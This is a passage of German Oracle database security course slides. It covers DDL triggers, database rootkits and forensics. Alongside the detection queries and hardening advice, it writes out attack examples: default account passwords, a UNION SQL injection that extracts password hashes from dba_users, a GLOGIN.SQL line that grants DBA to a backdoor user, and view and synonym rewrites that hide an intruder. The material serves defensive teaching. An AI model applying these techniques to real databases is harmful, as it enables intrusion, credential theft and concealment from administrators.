(l_user, l_time) VALUES(SYS.LOGIN_USER, SYSDATE); COMMIT; -- geht! END; Anmerkungen: SYS.LOGIN_USER ist ein Attribut, das in jedem Trigger zur Verfügung steht. Auch SYS.SYSEVENT kann in jedem System- oder DDLTrigger abgefragt werden. MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 6 Systemtrigger Ab Version 8.1.6 kam für AFTER LOGON-Trigger ein weiteres Attribut hinzu: • ORA_CLIENT_IP_ADDRESS (Return VARCHAR2): IP-Adresse des Client, falls die Verbindung über TCP/IP läuft Ab Version 9i kamen folgende Error-Attribute dazu: • • • • ORA_SERVER_ERROR_DEPTH (Return BINARY_INTEGER): Tiefe des error stack ORA_SERVER_ERROR_MSG (n, Return VARCHAR2): Fehlermeldung an Position n des error stack ORA_SERVER_ERROR_NUM_PARAMS (n, Return BINARY_INTEGER): Anzahl der ersetzten Wildcards bei Fehlermeldung an Position n des error stack ORA_SERVER_ERROR_PARAM (n, x, Return VARCHAR2): Wert, der anstelle der x-ten Wildcard bei Fehlermeldung an Position n des error stack eingesetzt wurde Stichwörter: Security I 5 - 6 DDL-Trigger Folgende DDL-Befehle können ebenfalls als TriggerEvent dienen: CREATE ALTER DROP MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 7 DDL-Trigger Auch DDL-Trigger gibt es ab Version 8i. Im ersten Release waren die unterstützten Events noch auf die drei wichtigsten, oben aufgeführten Befehle beschränkt. In DDL-Triggern stehen neben den auch in allen Systemtriggern verfügbaren Attributen noch folgende weitere Attribute zur Verfügung, die ebenfalls inclusive Schemaname des Owners (=SYS) angesprochen werden müssen: • • • • DICTIONARY_OBJ_TYPE (Return VARCHAR2(20)): Objekttyp, auf den DDLBefehl abgesetzt wurde DICTIONARY_OBJ_NAME (Return VARCHAR2(30)): Objektname, auf den DDL abgesetzt wurde DICTIONARY_OBJ_OWNER (Return VARCHAR2(30)): Objektinhaber DES_ENCRYPTED_PASSWORD (Return VARCHAR2): Passwort des geänderten Benutzers; nur bei CREATE / ALTER USER Ab Version 8.1.6 existieren auch für diese Attribute Synonyme: • • • • ORA_DICT_OBJ_TYPE für SYS. DICTIONARY_OBJ_TYPE ORA_DICT_OBJ_NAME für SYS. DICTIONARY_OBJ_NAME ORA_DICT_OBJ_OWNER für SYS. DICTIONARY_OBJ_OWNER ORA_DES_ENCRYPTED_PASSWORD für SYS.DES_ENCRYPTED_PASSWORD Stichwörter: DDL-Trigger Security I 5 - 7 DDL-Trigger (ff) Weitere DDL-Befehle: RENAME TRUNCATE ANALYZE ASSOCIATE STATISTICS DISASSOCIATE STATISTICS AUDIT NOAUDIT COMMENT MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 8 DDL-Trigger Ab Version 8.1.6 (= Version 8i Release 2) kamen eine Reihe weiterer DDL- und auch DCL-Befehle dazu. Voraussetzung für die Erstellung der entsprechenden Trigger ist, dass der compatible-Parameter der Datenbank auf mindestens 8.1.6 eingestellt wird. Auch eine Reihe weiterer Attribute kam hinzu, die allerdings alle auf einen oder wenige Befehle beschränkt sind: • ORA_IS_CREATING_NESTED_TABLE (Return BOOLEAN): Nur bei CREATE TABLE • ORA_IS_ALTER_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER TABLE • ORA_IS_DROP_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER TABLE Für ASSOCIATE / DISASSOCIATE STATISTICS wurden folgende Attribute neu eingeführt: • ORA_DICT_OBJ_NAME_LIST(name_list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER) • ORA_DICT_OBJ_OWNER_LIST(name_list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER) Returnwert ist jeweils die Anzahl der Einträge in name_list; diese Einträge entsprechen den Namen der Owner bzw. der Objekte, die durch den Befehl betroffen sind. ORA_NAME_LIST_T ist TABLE OF VARCHAR2(64). Stichwörter: Security I 5 - 8 DDL-Trigger (ff) Weitere DCL-Befehle: GRANT REVOKE MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 9 DDL-Trigger Im Zusammenhang mit den DCL-Befehlen wurden folgende Attribute neu eingeführt: • • • • ORA_GRANTEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Nur bei GRANT ORA_REVOKEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Nur bei REVOKE ORA_PRIVILEGE_LIST(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Bei GRANT und REVOKE ORA_WITH_GRANT_OPTION(Return BOOLEAN): Nur bei GRANT; Gibt zurück, ob Grant-Option erteilt wurde Rückgabewert ist bei den ersten drei Funktionen wiederum die Anzahl der Einträge in list. Eingetragen werden: • User, denen Privileg erteilt wurde (ORA_GRANTEE) • User, denen Privileg entzogen wurde (ORA_REVOKEE) • Namen der erteilten / entzogenen Privilegien (ORA_PRIVILEGE_LIST) Stichwörter: Security I 5 - 9 DDL-Trigger (ff) Als Timing ist bei allen DDL-Triggern sowohl BEFORE als auch AFTER möglich. Als Gültigkeitsbereich gibt es bei allen DDL-Triggern ON SCHEMA oder ON DATABASE. Alle oben aufgeführten Ereignisse werden mit einem BEFORE | AFTER DDL-Trigger (ON SCHEMA |DATABASE) erfasst. Im Trigger-Body stehen zusätzlich folgende Attribute zur Verfügung: SYS.DICTIONARY_OBJ_NAME: Name des (erzeugten, gelöschten...) Objekts SYS.DICTIONARY_OBJ_OWNER: Owner des (erzeugten, gelöschten...) Objekts MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 10 Stichwörter: Security I 5 - 10 Beispiel DDL-Trigger CREATE OR REPLACE TRIGGER create_trig AFTER CREATE ON DATABASE BEGIN INSERT INTO logcreates (l_owner, l_name, l_time) VALUES(SYS.DICTIONARY_OBJ_OWNER, SYS.DICTIONARY_OBJ_NAME, SYSDATE); END; Ein COMMIT ist nicht nötig MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 11 DDL-Trigger DML-Befehle in DDL-Trigger brauchen kein COMMIT, da dieses durch den auslösenden Befehl automatisch erfolgt, aber nur, sofern der DDL-Befehl nicht fehlschlägt. Ein Laufzeitfehler in einem DDL-Trigger oder ein RAISE_APPLICATION_ERROR machen auch den DDL-Befehl rückgängig. Stichwörter: Security I 5 - 11 Weiteres Beispiel Verhindern der Vergabe von Rechten (der EmpTabelle) an Public (einfache Version) CREATE OR REPLACE TRIGGER create_trig AFTER GRANT ON DATABASE DECLARE v_ora_name_list ora_name_list_t; ret binary_integer; BEGIN ret:=ora_grantee(v_ora_name_list); IF SYS.DICTIONARY_OBJ_OWNER='SCOTT' AND SYS.DICTIONARY_OBJ_NAME='EMP' AND v_ora_name_list(v_ora_name_list.first)='PUBLIC' THEN raise_application_error( -20001,'No Grants to PUBLIC allowed'); END IF; END; MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 12 Hinweis: Verbesserte Version, die auch den Fall abfängt, dass das Recht an Mehrere vergeben wird und Public nicht der erste ist. CREATE OR REPLACE TRIGGER create_trig AFTER GRANT ON DATABASE DECLARE v_ora_name_list ora_name_list_t; ret binary_integer; BEGIN ret:=ora_grantee(v_ora_name_list); IF SYS.DICTIONARY_OBJ_OWNER='SCOTT' and SYS.DICTIONARY_OBJ_NAME='EMP' THEN FOR i IN v_ora_name_list.first .. v_ora_name_list.last LOOP IF v_ora_name_list(i)='PUBLIC' THEN raise_application_error( -20001,'No Grants to PUBLIC allowed'); END IF; END LOOP; END IF; END; / Stichwörter: Rechtevergabe Security I 5 - 12 Kapitel 6 Rootkits Security II 6 - 1 Definition Rootkit-Programme manipulieren das Betriebssystem so, dass bestimmte Dateien, Registry-Einträge oder Prozesse für Systemprogramme wie Windows Explorer, Registrierungseditor oder Taskmanager unsichtbar werden. Damit ist es leicht, unbemerkt schädliche Codes/Programme auf dem PC einzuschleusen. Sony BMG machte sich diese Technik für seinen umstrittenen und mittlerweile zurückgezogenen XCPKopierschutz für CDs zunutze. MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 2 Security II 6 - 2 Rootkit unter Unix Die ersten Versionen modifizierten die Programme ps, ls und passwd um ihre Anwesenheit zu verbergen und ungehindert im System zu agieren. Damit konnten Tastatureingaben (Keylogger) mitgeschnitten oder Dateien unbemerkt ausgelesen oder modifiziert werden. MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 3 Security II 6 - 3 Wer greift mich an? Extern: Script Kiddies Professionelle Hacker Konkurrenz? Terroristen, NSA Intern: Entlassene Mitarbeiter Verärgerte Mitarbeiter Mitarbeiter mit Liebeskummer Bestochene Mitarbeiter (Konkurrenz, Geheimdienst, …) MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 4 Security II 6 - 4 Was macht der Angreifer? Daten auslesen (geheime, vertrauliche Unterlagen, Kreditkarten-Informationen, Gehälter, …) Daten verändern (sehr schwer nachvollziehbar! Wie lange bewahren Sie Ihre Backups auf?) Daten löschen (evtl. incl. Backup), formatieren Von dort aus weitere Datenbanken/Rechner hacken Missbrauch als Datencontainer für illegale Software/Filme/Musik/Bilder! Verwendung des Rechners als Spam-Zombie, DoS Client MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 5 Security II 6 - 5 Wie komme ich in die Oracle Datenbank? Bekannte Benutzeraccounts/Passwörter versuchen Top 10 SYSTEM/MANAGER SYS/CHANGE_ON_INSTALL AS SYSDBA (Bis 10g) SYS/SYS AS SYSDBA DBSNMP/DBSNMP MDSYS/MDSYS SCOTT/TIGER OUTLN/OUTLN RMAN/RMAN HR/HR CTXSYS/CTXSYS MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 6 Hinweis: Pete Finnigan hat auf seiner Webseite mehr als 100 Oracle Demo Accounts mit Passwörtern zusammengefasst. http://www.petefinnigan.com Ihre Applikation sollte möglichst auch über ein langes Passwort verfügen, daß nicht leicht erraten werden kann! Security II 6 - 6 Wie komme ich in die Datenbank (f) Keylogger auf den Client installieren. (Gibt es auch als Hardware zu kaufen) Passwörter in Skript-Dateien (Backupskripten, Monitoring-Skripten) suchen. Einschleusen von Code in Skipt-Dateien (catalog.sql, catproc.sql, utlxplan.sql, utlrp.sql). Passwort in der History suchen: Dos: <F7> Unix: history MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 7 Hinweis: Gehen Sie doch mal z.B. mit dem Texteditor Ultraedit in Ihrem Skriptverzeichnis auf die Suche nach " AS SYSDBA" oder "CONNECT <ihrUser>". Sind diese Dateien ausreichend geschützt, bzw. kann man das Passwort herausnehmen? Wenn Sie den Arbeitsplatz verlassen, sollte sich nach kurzer Zeit ein Bildschirmschoner einschalten, der mit einem Passwort versehen ist. Damit können Sie verhindern, dass jemand in Ihrer Abwesenheit Ihre Tastatureingaben über die History nachverfolgen kann. Security II 6 - 7 Wie komme ich in die Datenbank (ff) Brute Force Attack (Alle Passwort-Kombinationen versuchen) GLOGIN.SQL editieren: GRANT DBA TO RSYS IDENTIFIED BY HACKER; Versenden von manipulierten SQL*Net Paketen (ohne Account) an die Datenbank mit eingeschleustem Code. MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 8 Hinweis: Sperren Sie die Dateien glogin.sql und login.sql gegenüber Schreibzugriffen. Security II 6 - 8 Wie komme ich in die Datenbank (ff) Applikation besitzt DBA-Rechte , deshalb SQL Injection bei dynamischem Cursor: SELECT name FROM kunden where /* kunden_id=1 */ kunden_id=1 UNION SELECT username||'.'||password FROM dba_users; Danach mit Brute-Force-Tool orabf das Passwort knacken. MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 9 Hinweis: Verwenden Sie in PL/SQL möglichst wenig dynamisches SQL. Vertreter dieser Generation sind: • EXECUTE IMMEDIATE • DBMS_SQL • REF CURSOR Security II 6 - 9 Wie komme ich in die Datenbank (ff) Hacken des Listeners (z.B. Einschleusen von Codes, der einen Benutzer mit Administratoren-Rechten anlegt) Social Hacking Passwörter erraten (Susi, Uschi, BMW, FC Bayern, …) Klebt ein Post-It auf dem Bildschirm mit dem Passwort, oder steht es unter der Tastatur? USB-Sticks mit Trojaner in Firmennähe liegen lassen Phishing Verschicken Sie Emails mit Text: Für Wartungsarbeiten auf der Datenbank für welche Ihr Password benötigt wird☺ ☺ MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 10 SQL*Net Tracing Wenn der Parameter trace_level_client = 16 in sqlnet.ora clientseitig gesetzt wurde, können SQL-Kommandos mitgelesen werden: … nspsend: 01 28 61 6C 74 65 72 20 |.(alter.| … nspsend: 75 73 65 72 73 20 73 79 |users.sy| … nspsend: 73 74 65 6D 20 69 64 65 |stem.ide| … nspsend: 6E 74 69 66 69 65 64 20 |ntified.| … nspsend: 62 79 20 6D 61 6E 61 67 |by.manag| … nspsend: 65 72 01 00 00 00 01 00 |er......| Security II 6 - 10 Ich bin drin ... Was nun ? Verwendung von diversen PL/SQL Packages, um Daten aus der Datenbank zu entwenden utl_file => schreibt auf lokale Platte utl_tcp, utl_http =>verschickt per http/ftp/email utl_smtp, utl_mail => verschickt email dbms_metadata, …). => zeigt Objektstrukturen an Freischalten von ftp oder http Ports mittels dbms_xdb MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 11 Security II 6 - 11 Namensauflösung bei Objekten Wenn ein Objektname (Tabelle, View, Package, Procedure, Function) angegeben wird, geht Oracle wie folgt vor: 1. Gibt es im lokalem Schema ein Objekt mit diesen Namen (Achtung das lokale Schema lässt sich ändern mittels: ALTER SESSION SET current_schema=<schema>; Wenn Nein, 2. Gibt es ein lokales Synonym mit diesem Namen Wenn Nein 3. Gibt es ein Public Synonym mit diesem Namen Wenn Nein 4. Fehlermeldung ausgeben (z.B. ORA-00942: Tabelle oder View nicht vorhanden) MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 12 Beispieltricks: Legen Sie eine lokale View mit Namen all_tables für den den Benutzer SCOTT an: • CREATE OR REPLACE VIEW scott.all_tables ... Legen Sie ein lokales Package utl_file für Scott an: • CREATE OR REPLACE package scott.utl_file Legen Sie ein lokales Synonym an: • CREATE SYNONYM utl_http ... Legen Sie ein globales Synonym an: • CREATE PUBLIC SYNONYM utl_tcp ... Security II 6 - 12 Manipulation der Verwaltungsviews Ein Hacker muss nur in den üblicherweise verwendeten Verwaltungsviews zusätzliche Filter einbauen, die die gewünschten Einträge verstecken. Da die meisten grafischen Tools nur die Inhalte von ALL_/DBA_ Objekten anzeigen, kann ein Hacker sich hier verstecken Wenn Sie herausfinden möchten auf welchen Tabellen eine Verwaltungsview basiert, sehen Sie in dba_views oder noch besser in view$ nach MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 13 Beispiele: 1. Wir nehmen die offizielle Verwaltungsview um herauszufinden, auf welcher Tabelle die View session_privs basiert: • SELECT text FROM dba_views WHERE view_name='SESSION_PRIVS'; • Text -----------------------• select spm.name from sys.v$enabledprivs ep, system_privilege_map spm where spm.privilege = ep.priv_number 2. Die gleiche Abfrage nun mit der Original-Tabelle: • select text from view$ where obj# in (select obj# from sys.obj$ where name='SESSION_PRIVS') Security II 6 - 13 Manipulation der Verwaltungsviews Beispiel: DBA_USERS Hinzufügen in der View: CREATE OR REPLACE VIEW dba_users .. AND username <> 'HACKER'; Blendet in der View nun 'Hacker' aus Alternative: Hacker arbeitet unter einem immer vorhandenen Account: SYS, SYSTEM, OUTLN, SYSMAN, XDB, MDSYS, PERFSTAT MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 14 DD Tabelle DD View Bemerkung user$ DBA_USER Alle installierten Benutzer und Rollen obj$ DBA_OBJECTS Alle installierten Objekte (Tabs/Procs/Trigger, ...) tab$ DBA_TABLES Alle installierten normalen relat. Tabellen col$ DBA_TAB_COLUMN S Alle Spalten der Tabellen view$ DBA_VIEWS Alle installierten Views trigger$ DBA_TRIGGERS Alle installierten Trigger link$ DBA_DB_LINKS Alle Datenbank-Links source$ DBA_SOURCE Alle Quellcodes (auch gewrappte) syn$ DBA_SYNONYMS Alle Synonyme ts$ DBA_TABLESPACE S Alle Tablespaces Security II 6 - 14 Verwaltungsviews (V$...) GV$ und V$ Views sind Performance-Views, die nicht im üblichen Verwaltungsapparat (Tablespace SYSTEM) gespeichert werden, sondern z.B. im Controlfile. Sie basieren auch nicht auf einer View, sondern auf einer festen Struktur. Jedoch heißen die Originalobjekte V_$... & GV_$ und auf diesem liegt dann ein Public Synonym. Beispiel: V_$SESSION => Public Synonym mit Namen V$SESSION MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 15 Security II 6 - 15 Verwaltungsviews (V$...) Der Hackertrick besteht nun darin, eine lokale View mit Namen V$... (z.B: V$SESSION) anzulegen, in der ein gewünschter Filter gesetzt wird. Beispiel: CREATE OR REPLACE VIEW sys.V$$session AS SELECT * FROM sys.V_$session WHERE username <> 'HACKER'; DROP PUBLIC SYNONYM v$session; CREATE public synonym v$session FOR sys.v$$session; MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 16 Security II 6 - 16 Verwaltungsviews (V$...) Alternativ wird einfach das Public Synonym auf ein anderes Objekt umgeleitet: CREATE PUBLIC SYNONYM v$session FOR system.v$session_hack; oder als lokales Synonym: CREATE SYNONYM v$session FOR system.v$session_hack; Hinweis: Zum Auslesen der View-Struktur verwendet man: SELECT dbms_metadata.get_ddl ('VIEW','SYS','<VIEW_NAME>') FROM dual; MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 17 Security II 6 - 17 Abweichungen bei Benutzertabellen Vergleichen Sie Original-Tabelle mit der DBA View: SELECT name FROM sys.user$ minus SELECT username FROM dba_users minus SELECT role FROM dba_roles; Ergebnismenge sollte nur die folgenden Benutzer ergeben: PUBLIC _NEXT_USER MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 18 Abweichungen bei Triggern: SELECT u.name,o.name FROM sys.trigger$ t, sys.user$ u, sys.obj$ o WHERE t.obj#=o.obj# and o.owner#=u.user# MINUS SELECT owner,trigger_name FROM dba_triggers; Die Liste sollte leer sein. Abweichungen bei Jobs SELECT job,lowner,powner,what FROM sys.job$ MINUS SELECT job,log_user,priv_user,what FROM dba_jobs; Die Liste sollte leer sein. Abweichungen bei Objekten SELECT u.name,o.name FROM sys.obj$ o, sys.user$ u WHERE u.user#=o.owner# AND o.type# IN (7,8,9,11) MINUS SELECT owner,object_name FROM dba_objects WHERE object_type IN ('PROCEDURE', 'PACKAGE', 'PACKAGE BODY', 'FUNCTION'); Die Liste sollte leer sein. Security II 6 - 18 Abweichung von Public Synonymen SELECT u.name "Syn.-Owner", o.name as "Syn.Name", s.owner, s.name as "ORIG.-NAME" FROM sys.syn$ s, sys.obj$ o, sys.user$ u WHERE o.owner#=u.user# AND s.obj#=o.obj# AND o.name in ('V$SESSION','V$DATABASE','V$INSTANCE'); Beispiel Ergebnismenge: PUBLIC V$INSTANCE SYS V_$INSTANCE PUBLIC V$DATABASE SYS V_$DATABASE PUBLIC V$SESSION V$$SESSION SYSTEM V$DATABASE SYSTEM V$LOGFILE MuniQSoft GmbH SELECT FROM WHERE AND AND AND OR OR OR OR OR SYS Kapitel 6 - Rootkits Security II 6 - 19 o.name, s.owner, s.name, s.node sys.syn$ s, sys.obj$ o o.obj# = s.obj# o.type# = 5 o.owner# = userenv('SCHEMAID') (o.name LIKE 'V$%' o.name LIKE 'USER_%' o.name LIKE 'ALL_%' o.name LIKE 'DBA_%' o.name LIKE 'DBMS_%' o.name LIKE 'UTL_%'); Als Benutzer SYSTEM (nicht SYS) oder beliebig anderer Benutzer, sollte diese Liste leer sein. Security II 6 - 19 Abweichung bei Privilegien Leider ist eine Überwachung/Überprüfung hier sehr schwierig, denn System- oder Objektrechte können entweder Direkt Über eine Rolle Über eine Rolle die in einer Rolle liegt Über eine Rolle die in einer Rolle die einer Rolle liegt {Über ein Rolle}255 zugewiesen werden MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 20 Hinweis: Die Original-Views bestehen aus folgenden Selects: DBA_TAB_PRIVS: select ue.name, u.name, o.name, ur.name, tpm.name, decode(mod(oa.option$,2), 1, 'YES', 'NO'), decode(bitand(oa.option$,2), 2, 'YES', 'NO') from sys.objauth$ oa, sys.obj$ o, sys.user$ u, sys.user$ ur, sys.user$ ue, table_privilege_map tpm where oa.obj# = o.obj# and oa.grantor# = ur.user# and oa.grantee# = ue.user# and oa.col# is null and oa.privilege# = tpm.privilege and u.user# = o.owner#; DBA_SYS_PRIVS: select u.name,spm.name,decode(min(option$),1,'YES','NO') from sys.system_privilege_map spm, sys.sysauth$ sa, user$ u where sa.grantee#=u.user# and sa.privilege#=spm.privilege group by u.name,spm.name Security II 6 - 20 SELECT führt DDL aus Sie waren bisher der Meinung, ein SELECT liest immer nur und verändert nichts?? CREATE OR REPLACE FUNCTION ftest RETURN NUMBER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'create table t ( d date)'; RETURN 1; END; CREATE OR REPLACE VIEW emp_view AS SELECT * FROM scott.emp WHERE 1=ftest; SELECT * FROM emp_view; /*Legt Tabelle t an*/ MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 21 Hinweis: Die moderne Variante ab 12c kommt auch ohne CREATE PROCEDURE Recht aus: WITH FUNCTION f(id IN NUMBER) RETURN NUMBER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'create table t ( d date)'; RETURN 1; END; SELECT f(object_id) FROM all_objects WHERE rownum <2 select * from t; Security II 6 - 21 Objekte als Oracle eigene ausgeben Welche der folgenden Objekte sind nicht von Oracle? sys.dbms_backup_restore sys.plitblm sys.dbms_pickler sys.dbms_utl sys.sys_stub_for_purity_analysis sys.utl_ldap ctxsys.drue ctxsys.drixml sys.dbms_schema_name_export MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 22 Hinweis: Die Idee zu diesem Trick kam mir beim Thema Steganographie. Da wird eine Nachricht z.B. dadurch verschlüsselt, dass sie in einem Bild versteckt wird. Die ideale Verschlüsselung ist die, wo man nicht erkennt das geheime Informationen vorhanden sind. Was wäre also besser für einem Baum, als sich in einem Wald zu verstecken, oder auf Oracle übertragen: Wie könnte man Daten einer Hacker-Tabelle, oder Funktionen/Proceduren/Packages eines bösen Buben besser verstecken als zwischen den bereits 50.000 installierten Oracle Objekten? (wer SAP hat, kann das nochmals potenzieren ☺ ) Security II 6 - 22 Lösung Welche der folgenden Objekte sind nicht von Oracle? sys.dbms_backup_restore (OK) sys.plitblm (OK) sys.dbms_pickler (OK) sys.dbms_utl (Falsch) sys.sys_stub_for_purity_analysis (OK) sys.utl_ldap (Falsch) ctxsys.drue (OK) ctxsys.drixml (Falsch) sys.dbms_schema_name_export (Falsch) MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 23 Security II 6 - 23 DDL Trigger Merken Sie sich die Liste der derzeit verwendeten DDLTrigger. SELECT u.name,t.obj#,t.definition, t.whenclause, t.action# FROM sys.trigger$ t, sys.user$ u, sys.obj$ o WHERE t.obj#=o.obj# AND o.owner#=u.user# AND update$=0 AND insert$=0 AND delete$=0 ORDER BY name; MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 24 Hinweis: Das Problem von DDL Triggern ist, dass sie bei richtiger Anwendung eine Menge Unsinn anrichten können. Kleine Beispiele gefällig?, OK •Der DROP auf einen USER/TABLESPACE oder ein Objekt wird verhindert. In unserem Security Kurs zeige ich Objekte, die mit normalen Mitteln nicht mehr gelöscht werden können. •Nach dem Start der Datenbank wird immer eine Procedure ausgeführt (z.B. email an den Hacker) •Nach dem Anmelden eines Benutzer wird immer eine Funktion gestartet •Oracle empfiehlt (wohl wegen der unüberschaubaren Risiken) deshalb bei einer Migration alle DDL auszuschalten •Dazu muss die DB gestoppt werden, der Parameter "_system_trig_enabled" auf False gesetzt und die DB erneut gestartet werden. Security II 6 - 24 Wie kann man sich schützen? Gehen Sie bei Verdacht auf die Originaltabellen: dba_users sys.user$ dba_tables sys.tab$ dba_objects sys.obj$ v$session sys.v_$session v$process sys.v_$process Bei Packages, den Eigentümer voranstellen: utl_file sys.utl_file dbms_crypto sys.dbms_crypto MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 25 Security II 6 - 25 View Definitionen mit Hash-Wert speichern Speichern Sie für alle Views die Länge des View-Textes und einen Hash-Wert, drucken Sie die Liste aus und legen Sie diese in einen Tresor SET SERVEROUTPUT ON SIZE UNLIMITED DECLARE /* als SYS starten */ v_len NUMBER; BEGIN FOR c IN (SELECT owner,view_name,text FROM dba_views WHERE owner='SYS' ORDER BY 2) LOOP v_len:=length(c.text); dbms_output.put_line(c.owner||'.'||rpad(c.view_name,30,' ')||'('||lpad(v_len,4,' ')||') '|| dbms_crypto.Hash(utl_raw.cast_to_raw(c.text), dbms_crypto.hash_md5)); END LOOP; END; MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 26 Beispielausgabe: SYS.ALL_TAB_COLS (6684) 69D3E30BA5A648E5374B9EB86DDEF30D SYS.ALL_TAB_COL_STATISTICS (1985) 0B63DA6F08276D35366BEAEA7D6A7EC8 SYS.ALL_TAB_COLUMNS ( 525) 2D8F088AB0FDAEBE59486EF7A838616E SYS.ALL_TAB_COMMENTS (1605) 7FDE414934207C71ECDD4416D9080D09 SYS.ALL_TAB_HISTOGRAMS (5491) B0D4684558499CE808BCFFCDFE9CC607 SYS.ALL_TABLES (4691) F43B61AB060F5E27F0EA9E2E8F1FA689 SYS.ALL_TAB_MODIFICATIONS (3137) 8CC0542B039FA72449ECF6C36807B71A SYS.ALL_TAB_PARTITIONS (5804) 7EA4FAE6208376DE8E04B1199CD0F58F SYS.ALL_TAB_PRIVS ( 559) B94BB84E15C1E5829EC29856E73DA126 … Bei Verdacht auf einen Angriff, lassen Sie die Routine erneut laufen und vergleichen Sie die Ausgabe. Security II 6 - 26 Rootkit Version 2 Vorgestellt von Alexander Kornbrust auf der Blackhat Konferenz 2006 Er ersetzt in den Oracle Binaries alle Vorkommen der DD Tabelle user$ durch einen anderen Namen z.B. usar$ Danach wird eine Kopie mit Namen user$ erzeugt. Security-Scanner, die jetzt dba_users mit user$ vergleichen, finden nun keine Differenz, aber auch keinen Hacker☺ ☺ MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 27 Security II 6 - 27 Rootkit Version 2 aufspüren Wir suchen eine Tabelle, die die gleichen Spalten hat wie user$ Wir vergleichen hier nur die Spalte Default Tablespace (DATATS#), die kommt an 5ter Stelle nur in user$ vor SELECT owner#,name,ctime from obj$ WHERE obj# in ( select c1.obj# from col$ c1, col$ c2 where (c1.name=c2.name and c1.col#=c2.col# and c1.name='DATATS#' )and c1.obj#<>c2.obj#); owner# name ctime ---- ------- --------0 USER$ 29.06.14 0 USOR$ 18.10.14 MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 28 Security II 6 - 28 Honeypot Strategie um Hacker anzulocken. Es wird eine Datenbank oder ein Account absichtlich unzureichend geschützt um Hacker aufzuspüren. Beispiel: SYSTEM/MANAGER Account wird die DBA Rolle entzogen Audit für Create Session auf SYSTEM wird eingeschaltet oder Logon Trigger verschickt eine Email an den DBA MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 29 Security II 6 - 29 Oracle Würmer Es existieren bereits Designer-Studien zu Oracle Würmern. Diese verschicken die gehashten Oracle-Passwörter an [email protected]. Dieser Wurm ist noch relativ harmlos, aber was bringt die Zukunft? MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 30 Security II 6 - 30 Vorsichtsmaßnahmen Alle Accounts prüfen und entweder gute/lange Passwörter definieren oder Account locken/Passwort zerstören. Listener mit Passwort schützen, Parameter ADMIN_RESTRICTIONS_{listener_name}=ON in listener.ora setzen CREATE DATABASE LINK Recht aus der Connect Rolle entfernen (ab 10.2 bereits durch Oracle erledigt). EXECUTE Recht auf utl_tcp, utl_file und utl_inaddr von Public entfernen. GLOGIN.SQL Datei schützen, denn diese wird bei jedem Start von SQL*Plus ausgeführt (ab 10g bei jedem Neuconnect). MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 31 Security II 6 - 31 Kapitel 7 Forensik Security II 7 - 1 Was ist Forensik? Forensik in der Datenverarbeitung beschreibt die Dokumentation von Einbrüchen oder verdächtigen Vorgängen in Systemen Hier werden Beweismittel gesammelt und gesichert, die für eine Verfolgung oder Bestrafung von Straftaten notwendig sind MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 2 Stichwörter: Security; Allgemeines Security II 7 - 2 Tools für die Forensik Logminer (ab 8.1 bei Oracle kostenloses Tool zur Analysierung von Redolog-Inhalten) Data Unloader (z.B. DUL von Oracle) Oracle Block Dump Hexeditor für Tablespacedateien / Oracle Blöcke Flashback Funktionen (Flashback Query, Mülleimer) MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 3 Security II 7 - 3 Interessante Trace Files Listener.log ($ORACLE_HOME\log\diag\tnslsnr\<rechner>\ listener\trace) listener.trc (s.o.) Oracle Incident Dateien (ab 11.x) Alert.log Datei SYSDBA Audit Log (Windows: Eventlog) Redologs/Archivelog Im Betriebssystem: Win: Eventlog, Unix: /var/log/messages MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 4 Security II 7 - 4 Trace Views/Tables V$... (GV$ bei RAC), CDB_... in Plug DB (ab 12c) WRH$... (Temporäre Dateien) Audit Views SYS.USER$ SYS.MON_MODS_ALL$ (Inserts/Updates/Deletes auf Tabellen) SYS.COL_USAGE$ (verwendete Spalten) RECYCLEBIN (Wenn aktiviert, liegt hier der Mülleimer) MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 5 Security II 7 - 5 Vorgehensweise Dateien / Traces / Ausgaben 